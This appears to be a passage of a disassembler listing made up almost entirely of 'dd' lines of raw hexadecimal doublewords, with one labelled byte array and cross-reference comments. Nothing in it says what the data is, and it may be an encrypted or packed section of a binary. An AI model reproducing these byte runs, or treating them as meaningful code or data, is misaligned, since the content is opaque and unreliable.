		dd 0EF607854h, 0D64400E0h, 238BEDE7h, 5A0007E4h, 0C483CB67h
		dd 3FFD55DDh, 62009A4Ah, 88C389FCh, 0B300C164h,	0DBC43C4Bh
		dd 3AADB852h, 9D9802B1h, 59EBCE2Bh, 828CDA38h, 0CAF622AFh
		dd 8C0FFFEh, 2B00BB1Ah,	0AE643ED0h, 3DB71EA5h, 4F80F0C2h
		dd 73A2E4E9h, 9A00678Bh, 7CC97495h, 30A8D5Ah, 2B993CB8h
		dd 11294810h, 19F40449h, 107F2C7Dh, 8BCD30A1h, 0FB0091E2h
		dd 9B8D0F97h, 6DBB3A9h,	0D9537DC8h, 5F22280Ch, 9417222Bh
		dd 42A7C822h, 2DC9111Fh, 0DF042321h, 0FB04DC1Bh, 0E18B44D8h
		dd 0C3C3F4Ah, 7292008h,	367488h, 0CD24358Ah, 299E2BFFh
		dd 19B17E01h, 9514F0A8h, 865AD4h, 73FDD9Ah, 0F5B07947h
		dd 0E1FCBE03h, 0F05636E9h, 0DA736Bh, 3E609285h,	310C50CCh
		dd 806DB33Fh, 806AA4E9h, 72E9343h, 2663B5FFh, 0AF6FD0ADh
		dd 8A097D04h, 80D92BD1h, 417B977Fh, 0A4CC5C6Eh,	0C794C207h
		dd 0C4CEC033h, 95B84589h, 22355D00h, 98B87ACDh,	0AF0400A9h
		dd 38C0830Ch, 8D006ED2h, 64AA35EDh, 91BF2Ah, 1C9A214Bh
		dd 4C214BEh, 0B792050Bh, 0C6A982CAh, 0EEC960FEh, 0E9C71E01h
		dd 9BFA81DCh, 400B0718h, 0CABE4AE8h, 0B6001AFCh, 7B5F5A66h
		dd 0EE5ED3CFh, 0B76E005Dh, 42163AEDh, 2900B1EFh, 8946157Ah
		dd 3BE875h, 4C6D7B5Eh, 6AC8D95Fh, 88769900h, 7FE12B85h
		dd 0EC0C03ADh, 494F5E09h, 2866E8A8h, 0F31F1A0Ah, 84009C69h
		dd 0F4D81DCh, 9BB40077h, 0D440B2B0h, 79732F87h,	0B0389330h
		dd 0F83546h, 0DD0652BEh, 9957C254h, 20CC2718h, 0ADE09C9h
		dd 0E21BBEA7h, 3B0C01DCh, 702AC215h, 0E003AA0h,	0F05F8BCEh
		dd 0FD95784h, 0D179979h, 503C81A0h, 6904B71Fh, 0AF6E4F61h
		dd 88683F81h, 0CFAB3080h, 974CF9D8h, 72B14526h,	39081100h
		dd 0E9859Ah, 5A4AF417h,	9304EA84h, 16346600h, 0D372B406h
		dd 8FC03A89h, 835B6280h, 1E91C3CCh, 74900118h, 3A72712h
		dd 4BB00A14h, 0B7A054C4h, 1100D4F5h, 0A1435F4Dh, 406F3Eh
		dd 9B1CDFF7h, 888D6576h, 80DAFB3Fh, 81D64823h, 47B7268h
		dd 7FBB99C0h, 5D4825Eh,	0F4006844h, 0E8E2FDBDh,	95552Bh
		dd 0FD86967h, 0BC957D4h, 36823C00h, 0CDF03996h,	9C5E04C2h
		dd 0C38E7322h, 0F7B3EEA8h, 518359E0h, 0EA187600h, 8CDE39B2h
		dd 0C016056Ah, 16DC985h, 502246C1h, 0E7952030h,	0EEFCD800h
		dd 0DCA73BA2h, 0FB000EFh, 40836932h, 340099A8h,	16DAAB19h
		dd 0B89C9h, 6CD0CD80h, 0C2770EB4h, 0F3719700h, 0ED427E92h
		dd 404C4DEFh, 0A4EBFD02h, 1C405159h, 76F0155Ah,	6034C90h
		dd 9A5D4C67h, 0F6218691h, 0B4EE4Dh, 3C27A7DDh, 2A8C8ABCh
		dd 374EB912h, 0B22ECC07h, 0C4B6CC30h, 335D002Bh, 325741A0h
		dd 5400A591h, 0E2F29AE8h, 75C6DCFh, 0E34E458Ah,	3776307Fh
		dd 237C2B60h, 2029771Ch, 63D188F0h, 0DB190027h,	0C93F4BAFh
		dd 7F7A01D7h, 0C2D01305h, 87BACFDCh, 0A87D9000h, 8B03BEEAh
		dd 16A3FC6Dh, 0ABEFB02Ch, 993713CDh, 5218007Ah,	3C12062Fh
		dd 0C05C7301h, 0BA9D1C0Dh, 8C460FAh, 4BE500D2h,	2F8C5081h
		dd 0C100CEFAh, 75269D5Dh, 9722B0h, 0CAAD19F5h, 49C9ACBh
		dd 1BF8457Bh, 0D38B8600h, 3F7935F8h, 1751047Eh,	0C0D199ABh
		dd 8A06CD74h, 0C7E82A05h, 98002C45h, 1EEE5388h,	368500CFh
		dd 8CDC30C4h, 520989AAh, 0FF8B678h, 0CFF1A038h,	60A7E3h
		dd 9FC7EC2Ah, 3AA1F251h, 0F5DBA802h, 801F1BB0h,	4F9B94F7h
		dd 6DE02CC6h, 0FC4700B7h, 2864A0DFh, 6F86C400h,	0DB459136h
		dd 7B78705Ah, 2EA30155h, 0C05DAACAh, 0A1BBD897h, 1880170Fh
		dd 0BAA56747h, 2CB74CD0h, 8532C03Fh, 0E068212h,	87AC813Dh
		dd 610C9F8Dh, 0A3DF4620h, 25EBFA0Fh, 0A858F962h, 262CC94Ch
		dd 7203900Dh, 26E869h, 77B55DE8h, 4F1AD54Dh, 0E0150C00h
		dd 5C7457DAh, 63C801A3h, 2B19B945h, 44402060h, 0C9123AFEh
		dd 64007150h, 8C8B9631h, 76B3000Ah, 6E4A839Ch, 87FBDC3Eh
		dd 9D019260h, 4D8EE471h, 357FAC00h, 0C1A4DB1Eh,	9A5E4C80h
		dd 16856924h, 1DEE5Ch, 0CE636610h, 2302FF99h, 9A5F6828h
		dd 0B09843C1h, 0BEF70Fh, 4B6202B7h, 34A0460Dh, 0A28C9A00h
		dd 8671C751h, 5D890E9h,	7CDBEFFBh, 0FD708040h, 613F880Ah
		dd 150B80BFh, 136FE2Ch,	70143F2Dh, 4D47860h, 8A48C6C4h
		dd 9DF3047Ch, 9680D850h, 0E8855A7h, 408EB79Eh, 770DD00h
		dd 76011904h, 5B98BCD7h, 8AF044EAh, 8093F5Ch, 59E8208Fh
		dd 2F113C80h, 0B9000237h, 69FC5B2h, 7E70Fh, 9DE36CC2h
		dd 32B0D441h, 91B88E00h, 342E7CBDh, 0ACDA0D1h, 0A6635833h
		dd 58BF4901h, 0F81EC73Ah, 1200425Fh, 1BACA63Bh,	0E0E61AB4h
		dd 0D88B0025h, 576860F2h, 0CF00048Fh, 7D7AFE11h, 0EF35682h
		dd 6EEAF5C5h, 3D5CCE43h, 31770BF8h, 0C87BD700h,	1201D57Eh
		dd 3CB200ACh, 828A2E0Eh, 0F200FFE0h, 1A14F71Eh,	88BAFh
		dd 2A042F32h, 0D453F81h, 0A8858D26h, 0AA1A003Eh, 16356153h
		dd 30D200C4h, 595729FFh, 927D2E86h, 0D3BAE80Fh,	0F887813Ah
		dd 0E1F7D45Dh, 0A5E84B78h, 743700A4h, 0F729C955h, 77070CB1h
		dd 0E16F638Fh, 8EE40359h, 0F83FCB86h, 0BA2BE2h,	0EFDF1875h
		dd 0E47844F4h, 0B1A10F26h, 6461923Fh, 63964A00h, 30EE350h
		dd 0EE2A55E1h, 3801AC6Ah, 0A08039BCh, 109FABDCh, 0A8344030h
		dd 0B6835398h, 0A0298E6Eh, 0D6F5466Dh, 0D72B0047h, 87149E98h
		dd 7405BBD1h, 0F3121A18h, 0B788B000h, 320B96Fh,	77A075A1h
		dd 0EF8FE78h, 38006DA8h, 6B8A5BC0h, 13F74293h, 0ABBB574Dh
		dd 1148F000h, 0CB78C7h,	66A0B6B4h, 8C46E950h, 615D8500h
		dd 1C9E196Dh, 32FE00A4h, 0C7CF2D9Bh, 107C5BEh, 17D7C241h
		dd 45E79E1h, 0B17BF820h, 8D898714h, 2C94B219h, 60576A02h
		dd 0BCEC21Bh, 0C12A6DB5h, 0C468C091h, 0F8A020AEh, 0B200F0D5h
		dd 516EB0DAh, 40FDECh, 3DE32FFFh, 37AB284Eh, 93B70E16h
		dd 980A4500h, 0FE3A3141h, 17957FB5h, 0BE852F86h, 92F55100h
		dd 815165h, 5329010Ah, 0D9CA778Bh, 0F76BC700h, 26DA745Ch
		dd 7EF00141h, 0C60EE223h, 4617FCC8h, 79DDE900h,	397A6922h
		dd 0C2FB00C9h, 0CAEDDA1Eh, 940025F9h, 45956A29h, 908CA5AFh
		dd 0BC240560h, 0C0F813F2h, 0DDFB4B78h, 0B83E35EEh, 0AA7F8011h
		dd 7C8FAE08h, 0B6CA0E54h, 5820D56Ch, 0C6FDBB6Dh, 255C3Ah
		dd 353959BEh, 7B3407h, 0F31C5FDAh, 0B12AA5A9h, 2345648h
		dd 78C4D102h, 9050DBh, 0C35CC275h, 2942527Dh, 0B605F302h
		dd 0C0DD5D43h, 26D0F0D9h, 5E01DE2h, 0D0C33DC7h,	3CB1A708h
		dd 93140494h, 6D0102E0h
		dd 8085F0F9h, 0FC91C487h, 6EB0C23h, 33D8FE79h, 0AD3AC200h
		dd 0C77DB9DAh, 2A6F00C8h, 0AF6E6921h, 700178D8h, 5ECB7A51h
		dd 0A0803676h, 9F8AD3DBh, 80FD7F73h, 4CD61E49h,	5C8C54CFh
		dd 6B2C6082h, 40F89D14h, 0F143579Dh, 0DE0F606Fh, 89C2B3h
		dd 0B572C925h, 0DD90EE4h, 80C06C1Dh, 0DE566385h, 745BF401h
		dd 3D99A935h, 7CD4D0C5h, 0D437005Fh, 8028C705h,	0CCEFD6B2h
		dd 0F600830Bh, 0F5E23C6Bh, 0A84781h, 980EA36Eh,	85459416h
		dd 0EF1EE701h, 0C2DC2941h, 8107E42Ch, 0A06736C4h, 9C04F56Ch
		dd 19D4BD00h, 0BF6283EBh, 0AF63004Dh, 0D59270B5h, 0B028AC73h
		dd 1801B00Dh, 746002BAh, 3ED09167h, 0EF68C030h,	0FF846804h
		dd 287ED80Fh, 4BAEC08Dh, 3D6BD517h, 380C6B9h, 468CEC1Ah
		dd 1B00E1EBh, 24AB34F0h, 0E285E88h, 0B0FAA921h,	8D65D980h
		dd 933F4206h, 97A3803Dh, 0AE62DB2Bh, 5D3F0326h,	24535EDAh
		dd 8FC4CBE0h, 0D331440Eh, 6DBAE0BFh, 12F62DAFh,	77F8BCDh
		dd 107161A0h, 0A16D0A1h, 0ED1C4A09h, 1FC4000Eh,	5047DE97h
		dd 16D48C3Ch, 75E0F4h, 3AA76BD5h, 5900DDEAh, 0D6C19E5Dh
		dd 13245B1h, 85ADA406h,	303533BFh, 0AB009742h, 633F6778h
		dd 2901BE5h, 763B04CFh,	0C440C6CDh, 0BD009B1Dh,	3999AC06h
		dd 5ECC79h, 0A4AAE6E3h,	2A03B576h, 6EDFA605h, 0D4C051AEh
		dd 1D04C8BAh, 0C012B323h, 35C34DF2h, 0EB07DE20h, 77808737h
		dd 292F4BC0h, 40D33AE8h, 3E945100h, 980B2308h, 67098CB8h
		dd 0BA65B7h, 0C8E70494h, 0FD1A38F9h, 35D1E18Eh,	90C320C0h
		dd 4F079D44h, 3E02E411h, 0F1AE06A1h, 96609CCh, 0B1FBA33Ch
		dd 0BDD790A0h, 1B03C63Bh, 4ADC1228h, 6BAB90A8h,	0BF480007h
		dd 7D52C515h, 0D300805Ch, 0C660B0FEh, 5D9A05h, 16D6C377h
		dd 7F61D4CEh, 47C8760Eh, 0B01C7610h, 42154300h,	0BFB671A8h
		dd 4E0042D8h, 0BF54F48Ah, 24902231h, 0F608B3Ch,	35A1A78Dh
		dd 28729818h, 0EA310040h, 96F00BCBh, 3DAD0117h,	103641B9h
		dd 6094D522h, 0FB0C6674h, 183A460Ah, 0B8180097h, 8C7CBC59h
		dd 3D7D6838h, 81C1713Ch, 20F05215h, 0FFF802D0h,	9E643h
		dd 40843004h, 0C622A4D2h, 83C9B10Fh, 9041AA1Ah,	3BBE0C80h
		dd 0C269E5h, 1ED85AFDh,	4B64BB76h, 12861800h, 7E98F25Ch
		dd 0E79F39ACh, 0D3095848h, 0FCA0D63Ch, 0D9965B6Ah, 0B263C200h
		dd 0AD78030Eh, 0B95F002Ah, 48B14740h, 0A6003070h, 988DCC7Ah
		dd 1CE26F7h, 43FE0857h,	2147C72Bh, 5079F668h, 22C27880h
		dd 1EAF6F57h, 0FAAEAAE0h, 8E72B400h, 0EDCACF15h, 0B1854000h
		dd 90B92C03h, 4C980045h, 83358DE1h, 0C07ADEEh, 2397C834h
		dd 0E16AAD0h, 59C41777h, 24BE00BBh, 0CB0DED39h,	0DBE65C03h
		dd 88276A9Fh, 0F80FFA14h, 0F4070946h, 8D00D7CFh, 1751629Ah
		dd 209992Dh, 507D065Ch,	5D280388h, 82163AEEh, 0EA549088h
		dd 30049390h, 74C60534h, 3D6C44F0h, 791CF5D8h, 0CBBE0041h
		dd 1E71EF8Eh, 0FA6A7D1Eh, 18057812h, 0D4D4C6D2h, 1B339405h
		dd 0B0742CC0h, 0A9A6388Bh, 0D02B4000h, 2F03E985h, 0F2502400h
		dd 4E3A17A4h, 4A7A25h, 362342CBh, 8E512666h, 7D48760Ah
		dd 3B00E0FAh, 5E8687F4h, 497B00FBh, 0F69559CDh,	5607CB27h
		dd 3CA21FC2h, 149D6260h, 7F7004BEh, 0FE7601E0h,	0C2F86E00h
		dd 0C537Ch, 1BDB4408h, 0C80D64B6h, 9481B709h, 2A67058Ah
		dd 4979DE80h, 6BB51270h, 0C0EC1DB6h, 858A1323h,	0F24F9A88h
		dd 68711807h, 0F0D2AD03h, 6D63F0h, 0DA4E78E7h, 0C8F4C599h
		dd 70B81604h, 0BA808F4Fh, 126FAB7h, 0CE75D203h,	0C8187658h
		dd 0A20034F7h, 63233D9Ah, 832AF8h, 0F2E18020h, 0AFC5028Bh
		db 1
byte_520045	db 8Dh,	0B0h, 6Bh	; DATA XREF: ___:00438120o
					; ___:00438138o
		dd 665687F5h, 9EE2C60h,	0CC757891h, 3687400h, 960076ACh
		dd 4DADE58h, 0ED832FBh,	2460B216h, 0E67A2A0h, 1B004591h
		dd 2E953D9Ch, 0ECEDC00Ch, 763C00A1h, 0E53108DDh, 46FAF8AAh
		dd 29CB1705h, 0EC20C6F5h, 2C5CB2h, 0DF43ABEAh, 9DE1A310h
		dd 13FF3B00h, 0F20260ECh, 4E5600AAh, 588998A6h,	2B07458Ah
		dd 30293A20h, 0EB837BA0h, 3C550E9Dh, 0AE00C2E5h, 0BFF3010Ch
		dd 0F662300h, 0CAEA6828h, 0B3BCA0BBh, 0F9A100E6h, 0D3FFE019h
		dd 130134D7h, 48063393h, 0FCD0509Eh, 7B89055h, 47A8E2EDh
		dd 2E312076h, 5F3DB102h, 3A5A02C7h, 1E19815h, 0E8DD3DD1h
		dd 4A00AB52h, 30DBAD4Fh, 1D483464h, 0BA87A238h,	0B3ACC180h
		dd 658AAE1Bh, 0EF93F900h, 2101F474h, 6FDC002Eh,	0E2529ACBh
		dd 37071D5Bh, 81D9A89Eh, 32A73A81h, 94411087h, 0B675108Fh
		dd 0AB07A3AAh, 0E2DFFE7h, 89CF4E50h, 14343DB8h,	840F4600h
		dd 0A4322095h, 0C7F5A00h, 5789D078h, 49210344h,	0B1583696h
		dd 0E8478390h, 0F6B5AD3Eh, 52ACCA12h, 0E9307600h, 73A89D36h
		dd 0F8C300F5h, 9228FAC6h, 7F0067DDh, 0DA418FA1h, 0A568B6h
		dd 0CAFA384h, 431C2693h, 0AA80F0DEh, 2A6E06C4h,	0F981005Ah
		dd 79F2CB64h, 0EE75BF15h, 16D7460Bh, 0A6AD87F8h, 201275F0h
		dd 0ED7047h, 0F2565849h, 34C8D444h, 5F2F1E00h, 64296E11h
		dd 1992000Ah, 154EDBAAh, 8F007E9Ch, 37C75506h, 0C8BB4Ah
		dd 0F724F5ACh, 58CB0EE0h, 83B0D43Dh, 0FB21A89Fh, 0DEB2F85Bh
		dd 0F9B807CDh, 907C3DD7h, 582C1F18h, 30794A00h,	63A7AA89h
		dd 197F00EDh, 0A641F1F4h, 0AD1E4E6Fh, 73262621h, 4AE90D00h
		dd 1F4F5104h, 9431A239h, 0A1288042h, 573500F8h,	533F2F07h
		dd 0B9005CBDh, 0DF422AB2h, 0D2A004h, 107A4E3Ch,	0F5550779h
		dd 0EFD83100h, 4F8EA64Bh, 138600DFh, 0D068243Eh, 4407CB93h
		dd 0FCA4550Ah, 58379060h, 0A6AB3A6Ch, 5B80823Dh, 0AEB1698Ah
		dd 8800420Ah, 61E77A38h, 65110Bh, 0E9C4BFA5h, 0DB739AF6h
		dd 0E3523400h, 1437EF5Eh, 0E4A20E50h, 5720872Bh, 7D733540h
		dd 0B2FE3A1Dh, 6FF379C0h, 0A2C181h, 43C893EEh, 0BDA4FC8Fh
		dd 0EA5C5900h, 0C796D420h, 0B31B0361h, 2901658Bh, 0C8237DE1h
		dd 0A500C174h, 8EE5F61Dh, 2B2632h, 897678F5h, 4213E25Ah
		dd 0A4A6A200h, 9FB6614Dh, 0FC0900D1h, 0D539C26Ch, 0B824982Dh
		dd 4900504Ah, 0B7A363E1h, 88D80375h, 9051CF29h,	0EBCDB8D0h
		dd 74AC1000h, 0CC398794h, 0FA0804C0h, 0C086E764h, 5F33F174h
		dd 99B87EF6h, 0CD9EBD00h, 9623E247h, 0E083008Bh, 3894B38h
		dd 0F80025A7h, 0BB2769ABh, 91B4631h, 87FB327Eh,	0AFFE2100h
		dd 0F20978C6h, 802A063Ah, 0B8E78601h, 7EE450h, 4FCE8514h
		dd 0B664ED8Bh, 3BA77900h, 0A10983A8h, 0E2EC00ADh, 2744E3CDh
		dd 1E033DDAh, 5914F105h, 74A98DDh, 742F58CAh, 0B680863Ah
		dd 0B3DC18FDh, 0C4005DD6h, 87BBED96h, 0EA639CD2h, 656F0001h
		dd 0F5DC9B9Eh, 55073446h, 0CCC789DBh, 76EDA1C3h, 0FE020032h
		dd 78B48257h, 0BB02307Dh, 5CFC19DBh, 90E34085h,	24D0006Fh
		dd 37BAA6EDh, 34EAA870h, 7113DB1Ch, 234E0F80h, 0A4E0D6h
		dd 6697AFDh, 777EA26Bh,	0C41CCC73h, 2F8078ABh, 95E87987h
		dd 0F7EB1F27h, 1AA20049h, 8636E7CEh, 6800C877h,	4E89F222h
		dd 0F9AC38Fh, 0D01DD932h, 0A49F8600h, 83001950h, 6F8F4B5Eh
		dd 0B229B7h, 0D8166575h, 0F67D475Fh, 0E76E3700h, 0F059061Eh
		dd 0FB60FD13h, 2AF11C3Eh, 1AC18BA8h, 15C5AC80h,	4F0C5370h
		dd 7817FBA9h, 3F521DFDh, 3231E8Dh, 5D4A365Ah, 0EB7E59C0h
		dd 0B295FA34h, 0B402100Fh, 0B1E40F1Ch, 89A2C6Dh, 2C123716h
		dd 0C3B98718h, 0AE87B2Eh, 0EA004E14h, 77B23F30h, 0A140FFh
		dd 0DF4D6F04h, 218EC2DCh, 78B1CD00h, 7B14B5F3h,	91B700AFh
		dd 311A9A1Dh, 50DF982Ah, 32DAD701h, 81A81B21h, 0C6324C3h
		dd 88820F08h, 11620606h, 4A71FA03h, 0CD5A56F5h,	2C606EC7h
		dd 2E1D6D8Bh, 0F0009A0h, 0FD20A819h, 990615ECh,	742E0BB8h
		dd 0C9003071h, 3B3EB24Eh, 0DCBD00B1h, 672C348Ch, 0C000CD2Bh
		dd 2AD4E2AEh, 0CFB390h,	36A18895h, 0E7A024E6h, 0EB8ED21Fh
		dd 7D77CDC0h, 0DBBEABh,	2DD3966Eh, 0B2F3D0CAh, 0B9EE3D00h
		dd 0C4E65E2Bh, 3F680180h, 12CE96A8h, 0AE09C4D3h, 0E129441Eh
		dd 0DB2BAFC0h, 7A1182h,	0C3A78C6Ah, 0E0CA9846h,	0BC23FC07h
		dd 0DCE0F722h, 37072BFh, 0D81F6FA4h, 0C087B49Fh, 0E1302BD6h
		dd 0C9273500h, 9EDD955Fh, 0E94A00E4h, 0D951FD6Eh, 0F0A0CD9Ah
		dd 0CC157689h, 78F8E6DCh, 865D04A7h, 1018939Ah,	62E01503h
		dd 0CFFAF7DFh, 6F2CE1FEh, 3821F39Ah, 68721D0h, 0FA3089FFh
		dd 0A4422965h, 218F2F11h, 0F6BE04D5h, 475008D8h, 0E990D841h
		dd 5C442A88h, 11855521h, 0E800867Dh, 0C82633EBh, 3A13A840h
		dd 0B46A9100h, 7B8B4Bh,	0EE3B3FE1h, 0DC73C499h,	2B0F4AFCh
		dd 0C03D9657h, 512F02D2h, 837E002Eh, 169D4F8Dh,	30B0AF93h
		dd 8531300h, 9274864Bh,	0A61509FBh, 68801B95h, 0E319EE42h
		dd 0E6DA5000h, 9C4CDC9Dh, 172B1D07h, 48E18014h,	39885AA0h
		dd 40A12E00h, 6AA3C47Fh, 0EC1B0330h, 0F7AD2C0Ch, 2154C090h
		dd 707F4B71h, 19E45A00h, 0E6E0570Ah, 0CF5100FCh, 0E3489811h
		dd 0A7001C31h, 0A4C27058h, 0FA3AF1B8h, 42785Dh,	7D8E8F1Ah
		dd 521CBDFBh, 0E8B7442Ah, 5904D200h, 74EF6E01h,	62E001Fh
		dd 40A61E4Fh, 605C25F2h, 0F4532F40h, 9B9C0CA2h,	96B05D98h
		dd 71BF9300h, 6097C1EEh, 0D97B03DBh, 8B624C55h,	47D8208Bh
		dd 0B00A394Ah, 0A8419AC6h, 554FEE80h, 90B871Ch,	1522DE78h
		dd 0C0072C25h, 3A05013Fh, 1466CF00h, 0CD983D35h, 6DAF00E0h
		dd 0B66507A2h, 0D9003CF2h, 0DA766706h, 0F47F321Fh, 357B0717h
		dd 60C09D38h, 4FFBB80h,	0A837C60Ch, 2423929h, 23C02EEFh
		dd 0D8831181h, 48307CF9h, 0A80D2068h, 5A1A0173h, 0D6EBE987h
		dd 0C451ED7Ah, 447005C6h, 46FC6C00h, 0A916856Fh, 0D4380096h
		dd 3C989375h, 6700A524h, 0E1C04A62h, 4B5750h, 5C6EEA13h
		dd 3FF2253Ah, 3519C200h, 0B5FDA6E2h, 0AF5D0054h, 0B89508DDh
		dd 0C1C41A4h, 0BCC00131h, 0CD434F1Ah, 7AE6008Fh, 28C823FEh
		dd 49003954h, 0D7B4C467h, 5EA011h, 0D9358AADh, 4A24FBBAh
		dd 947D000h, 0FADA3DC9h, 518B0744h, 0A030F4E8h,	58F6F43h
		dd 16018400h, 0C8E67063h, 0EE930008h, 0F47AEAB6h, 0ACA177C7h
		dd 60D570A7h, 3000577Bh, 33973B2Bh, 0EE25F3h, 9CE8C404h
		dd 0E40AE51h, 24BF49h, 1CD1F977h, 202E2B90h, 300FDF3Bh
		dd 46CCD5h, 6F381BC7h, 0C4F00DAh, 74AE1525h, 0F30FDF93h
		dd 2046B795h, 0AF18CCE4h, 0CBE30126h, 0DC89C8E9h, 0DD09F053h
		dd 76226090h, 151804A5h, 80EC0249h, 0EAA1F404h,	8F00B0B9h
		dd 0ED8104D8h, 0F06A5066h, 610A007Dh, 0DDFEE89Bh, 4375A1B2h
		dd 0E2EDC400h, 85DAD1DFh, 66B9189Dh, 2FBD582Ch,	6040B100h
		dd 19CC9AA0h, 0BF8801A5h, 25ED87C6h, 0C243DC08h, 0E6060F12h
		dd 7EE28400h, 95FDBDh, 65FC618Eh, 591D6409h, 380F3F00h
		dd 0A02142DCh, 0AFAB0050h, 0F224C503h, 770788C0h, 1FD93044h
		dd 724FCCA0h, 31D10781h, 408E2E48h, 0CB769A80h,	0AE4A2C00h
		dd 1EF532ACh, 7E1D013Dh, 47BF0261h, 8E1FC4E2h, 37D29A0Eh
		dd 529F405Ch, 0B117A14h, 0A2A71D7Fh, 96413CA0h,	0CD003C85h
		dd 45AE6C13h, 1FE07A4Ch
		dd 80F7C038h, 0C46A72Eh, 5500FFB6h, 20D0AD8Dh, 0D03F2h
		dd 0C59B6E0Ah, 710FE287h, 0E0C1DE09h, 0BF8CA71Fh, 894B4440h
		dd 3A1B007Dh, 2090F936h, 237E5630h, 893C5A39h, 818085h
		dd 0AB4A1E34h, 0F3E90F1h, 411DB8A8h, 1B5833E0h,	202898Eh
		dd 0ADFA4F1Fh, 79914066h, 353C01DDh, 8816E3CBh,	8DA0E3ABh
		dd 511C745Dh, 0A1402676h, 5F3447FAh, 0F25503DEh, 7F078B97h
		dd 0A6D8F80h, 0A0956800h, 22CFD1E9h, 3C970FC8h,	0B7A0D614h
		dd 9184A18Bh, 3B383F13h, 895E2000h, 3E79D1h, 0F1D29236h
		dd 0DAF37D73h, 1FDD7C00h, 5FE587E6h, 0A4B50051h, 267B6105h
		dd 72F8F362h, 10DB8A00h, 0E116C17Fh, 0D87A0340h, 0B9623A33h
		dd 6E3E1FA8h, 0B7AB39h,	44BD52B4h, 1CB6DAECh, 9F7B191h
		dd 5580DBh, 49AD9303h, 0BDF0041h, 473B58B6h, 0AA008588h
		dd 772680B9h, 7945EE75h, 0FE317148h, 8C0205B3h,	0C043C3FCh
		dd 64A371ACh, 43F40091h, 435700BAh, 9A46BBDAh, 0EC1A13CBh
		dd 92B80006h, 2B19CD4Ah, 0ED1BE00h, 93481D5Eh, 335C01F8h
		dd 7B01E656h, 7A91F0DCh, 9E85243Ch, 6A0003B6h, 9667DA61h
		dd 0B2E200BEh, 229410FDh, 7200A24Bh, 6C0E7B9Fh,	0B169CD5h
		dd 0DD244355h, 0FE922C03h, 410B3FD8h, 84523A00h, 2783B0C3h
		dd 152303A8h, 8E64BBECh, 0F7A77D0h, 0F38A2600h,	7407ED84h
		dd 975C007Eh, 10C86DA4h, 76188BC0h, 0C2982757h,	3B7C00F5h
		dd 5EAD8355h, 0DA002540h, 2B2EC1CDh, 0FCBC48A7h, 0DDF30090h
		dd 858A7F6Eh, 3317C342h, 4AACEC78h, 0BDAA3209h,	41748A0h
		dd 0FA0F6976h, 81993422h, 590F941Dh, 2BF1AC50h,	0BCC0006Ch
		dd 30D98F18h, 220EEB01h, 0E0AEA87Fh, 133F1FC7h,	388912A0h
		dd 9E6C008Ch, 0D932B768h, 0E9D0CE04h, 84820BDEh, 0A0A48995h
		dd 7E3C9BBCh, 556576A0h, 5DC8D4E6h, 208730Bh, 0AB29F847h
		dd 946028FCh, 660085B1h, 0CAC9CD5Bh, 0C02BDBD7h, 82205A49h
		dd 3DF25259h, 7F9E400h,	913610E2h, 6503FE6h, 7AE028EFh
		dd 0C77C4BD2h, 31458A00h, 0B4F07F69h, 49B1F97h,	763400BAh
		dd 0B985FAC9h, 20E04200h, 4FCBA450h, 94CC1DDAh,	11BA828Bh
		dd 0CF60E10Eh, 0A20005D1h, 0A4F9C73h, 149E459h,	1BC4711Dh
		dd 0E86310F3h, 0B81F7F9Fh, 0BE47D7A0h, 7550F4AEh, 0DDE97Ah
		dd 0E4DC9358h, 8A42DB1Fh, 0CE8F5200h, 997C872Ah, 9EFEEEh
		dd 61D0E486h, 0C71C9F55h, 0FB8C8800h, 66F80703h, 7ED90034h
		dd 0C2146B5Eh, 0B4901676h, 0FE2BAD1Dh, 5CDF2700h, 599BFAh
		dd 0D405742Ah, 7BFBA138h, 8A58AE03h, 0E7D99C33h, 0FF5617E0h
		dd 0C29E2721h, 433F7480h, 5D091ACCh, 0EBB53D4h,	0C8138408h
		dd 0EA3054F4h, 2E6C7132h, 808C4BA2h, 10381229h,	1DF09E47h
		dd 7B6FBD02h, 83783052h, 0D0C360B0h, 27EE542h, 0F35C11Fh
		dd 0C763A588h, 0DB2750A0h, 5405CF00h, 8F79FFF8h, 0BCF55875h
		dd 0F72FA79h, 0EF48BF76h, 963F2A40h, 0B400A35Dh, 0AB1ED913h
		dd 481A3A42h, 5B80B023h, 0C563112Eh, 93418100h,	0E7FD1876h
		dd 68A30062h, 97CB37A7h, 22055D3Fh, 0F716EB20h,	74A244D0h
		dd 2B7A24EDh, 58340040h, 24CE04B0h, 0F5955Ch, 0F87F739Bh
		dd 46B99Fh, 0AC575E1Dh,	22CAEF9Ah, 67471A00h, 417C0ACCh
		dd 0C61C249Bh, 0FD31005Ch, 6B1952BAh, 5A94ED00h, 41F82DD9h
		dd 0F4689222h, 0C40F003Ch, 17E4D093h, 8A5CEC74h, 0B400719Ch
		dd 0A0C3F7ADh, 0B8E843h, 33107159h, 97CC5B0Eh, 7CDC4F00h
		dd 0C5312FEDh, 56B725E9h, 9964A080h, 0F3017918h, 0AC27E294h
		dd 6C3181F7h, 0DBEAC040h, 0F4971FC0h, 0C54F0050h, 7513F50Bh
		dd 76919CEh, 9FA7D739h,	885140BFh, 3CE381BDh, 0BEAEC4E6h
		dd 0D8E01D8h, 0C48B1DE4h, 8F009212h, 9949AA26h,	9AC629ADh
		dd 8998608Ch, 27E7817Ah, 8365722Ch, 7B17E128h, 7005D051h
		dd 8480129Dh, 3011F06Eh, 64C31BBh, 8F77B6DCh, 0FC1F3F02h
		dd 0E14C7452h, 4F606844h, 96C81CB2h, 1506C1CBh,	0EAFDDD59h
		dd 0E1E96E0h, 578C4A00h, 310AFAA7h, 0F5CA2821h,	0D4393AA0h
		dd 8A0040CCh, 33301562h, 0E712F896h, 0B490E63Dh, 2548F65Eh
		dd 84005BD8h, 0CE1FF2B7h, 374C9F4h, 5FBE2000h, 0E2A27B92h
		dd 2B900E6h, 6B319AA8h,	9002D81h, 87D37966h, 0C57F8Dh
		dd 13DB36EEh, 0C0279770h, 606A0700h, 0E55F085Ah, 6E0E000Ch
		dd 66726523h, 44000BF1h, 273B218Ah, 3DFB07CFh, 0D50E0F14h
		dd 83BDEDB3h, 0C3C84F46h, 80DCDCD3h, 0E32F8D14h, 2C9E4B00h
		dd 897DDFC1h, 0F06A00A2h, 0B2C09F7Fh, 0E70049CCh, 2C63BFA4h
		dd 993282h, 3390976Bh, 65CC83EAh, 29B8A203h, 0D00F78C7h
		dd 1D58FBA8h, 5E8FBC6Ah, 7F2CC0A7h, 100A3F75h, 7B99C900h
		dd 90939115h, 43B501DEh, 6828B23Dh, 1798C7B4h, 3118BF2Fh
		dd 0F868E19Ch, 0D28400F9h, 0B22E4763h, 15F02625h, 6BF20C70h
